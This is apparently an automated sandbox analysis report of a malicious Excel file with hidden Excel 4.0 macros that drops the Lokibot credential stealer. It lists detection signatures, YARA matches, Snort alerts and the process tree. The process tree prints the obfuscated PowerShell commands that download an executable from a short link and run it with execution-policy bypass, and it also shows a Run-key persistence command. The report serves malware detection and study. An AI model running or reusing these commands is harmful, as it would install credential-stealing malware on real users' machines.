Play interactive tour

Edit tour

Analysis Report 6Cprm97UTl

Overview

General Information

Sample Name:	6Cprm97UTl (renamed file extension from none to xls)
Analysis ID:	336301
MD5:	29c8b5edc30eadf757b72b0a14857903
SHA1:	77d432fb96a0a453bae30107990c2c9ee0314330
SHA256:	a174abce368b775138c203d66fa8a3845aead2d53d87f220c58a2fe8ee7d9cf0
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Lokibot

Allocates memory in foreign processes

Bypasses PowerShell execution policy

Document exploit detected (process start blacklist hit)

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Found obfuscated Excel 4.0 Macro

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Obfuscated command line found

Powershell drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Writes to foreign memory regions

Yara detected aPLib compressed binary

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to launch a process as a different user

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches the installation path of Mozilla Firefox

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2260 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

cmd.exe (PID: 2292 cmdline: cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe') MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 1324 cmdline: powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe') MD5: 852D67A27E454BD389FA7F02A8CBE23F)

RegAsm.exe (PID: 2844 cmdline: C:\Users\user\AppData\Local\Temp\RegAsm.exe MD5: ADF76F395D5A0ECBBF005390B73C3FD2)

cmd.exe (PID: 2372 cmdline: cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 2492 cmdline: powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}' MD5: 852D67A27E454BD389FA7F02A8CBE23F)

cmd.exe (PID: 2468 cmdline: cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe') MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 2324 cmdline: powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe') MD5: 852D67A27E454BD389FA7F02A8CBE23F)

12.exe (PID: 2800 cmdline: C:\Users\user\AppData\Local\Temp\12.exe MD5: 1D11ABB9DAC9B15823D1BCAD2B8B3675)

cmd.exe (PID: 2244 cmdline: 'cmd.exe' /c REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

reg.exe (PID: 1664 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe' MD5: D69A9ABBB0D795F21995C2F48C1EB560)

ntrwe.exe (PID: 1916 cmdline: 'C:\Users\user\ntrwe.exe' MD5: 1D11ABB9DAC9B15823D1BCAD2B8B3675)

RegAsm.exe (PID: 2192 cmdline: C:\Users\user\AppData\Local\Temp\RegAsm.exe MD5: ADF76F395D5A0ECBBF005390B73C3FD2)

ntrwe.exe (PID: 2996 cmdline: 'C:\Users\user\ntrwe.exe' MD5: 1D11ABB9DAC9B15823D1BCAD2B8B3675)

ntrwe.exe (PID: 2292 cmdline: 'C:\Users\user\ntrwe.exe' MD5: 1D11ABB9DAC9B15823D1BCAD2B8B3675)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13d0f:$des3: 68 03 66 00 00 0x18100:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x181cc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x2d469:$des3: 68 03 66 00 00 0x3185a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x31926:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x2d469:$des3: 68 03 66 00 00 0x3185a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x31926:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13639:$des3: 68 03 66 00 00 0x17a2a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17af6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13b59:$des3: 68 03 66 00 00 0x17f4a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x18016:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x2d469:$des3: 68 03 66 00 00 0x3185a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x31926:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x137f9:$des3: 68 03 66 00 00 0x17bea:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17cb6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13b59:$des3: 68 03 66 00 00 0x17f4a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x18016:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x137f9:$des3: 68 03 66 00 00 0x17bea:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17cb6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13b59:$des3: 68 03 66 00 00 0x17f4a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x18016:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13d0f:$des3: 68 03 66 00 00 0x18100:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x181cc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13639:$des3: 68 03 66 00 00 0x17a2a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17af6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13639:$des3: 68 03 66 00 00 0x17a2a:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17af6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x137f9:$des3: 68 03 66 00 00 0x17bea:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17cb6:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13d0f:$des3: 68 03 66 00 00 0x18100:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x181cc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: 12.exe PID: 2800	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: 12.exe PID: 2800	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: RegAsm.exe PID: 2192	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2192	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Click to see the 75 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
17.2.RegAsm.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.RegAsm.exe.400000.1.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
17.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
17.2.RegAsm.exe.400000.1.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
17.2.RegAsm.exe.400000.1.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
17.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
17.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
17.2.RegAsm.exe.400000.1.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
17.2.RegAsm.exe.400000.1.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
19.2.RegAsm.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
19.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.RegAsm.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
19.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
19.2.RegAsm.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
19.2.RegAsm.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
19.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
19.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
19.2.RegAsm.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
19.2.RegAsm.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 16 entries

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis: Data: Command: cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe'), CommandLine: cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe'), CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2260, ProcessCommandLine: cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe'), ProcessId: 2292

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\Documents\12.exe	Joe Sandbox ML: detected
Source: C:\Users\user\ntrwe.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

17_2_00403D74

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 4x nop then mov esp, ebp	11_2_0031E458
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	11_2_0031F138
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	11_2_0031CE50
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 4x nop then jmp 00318CF3h	11_2_00318240
Source: C:\Users\user\ntrwe.exe	Code function: 4x nop then jmp 00508CF3h	15_2_00508520
Source: C:\Users\user\ntrwe.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	15_2_0050CE50
Source: C:\Users\user\ntrwe.exe	Code function: 4x nop then mov esp, ebp	18_2_0040E132
Source: C:\Users\user\ntrwe.exe	Code function: 4x nop then jmp 00408CF3h	18_2_00408515
Source: C:\Users\user\ntrwe.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	18_2_0040CE50

Source: global traffic

DNS query: name: cutt.ly

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 104.22.0.232:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 104.22.0.232:443

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2021697 ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious 192.168.2.22:49167 -> 83.172.144.37:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49168 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49168 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49168 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49168 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49169 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49169 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49169 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49169 -> 185.206.215.56:80
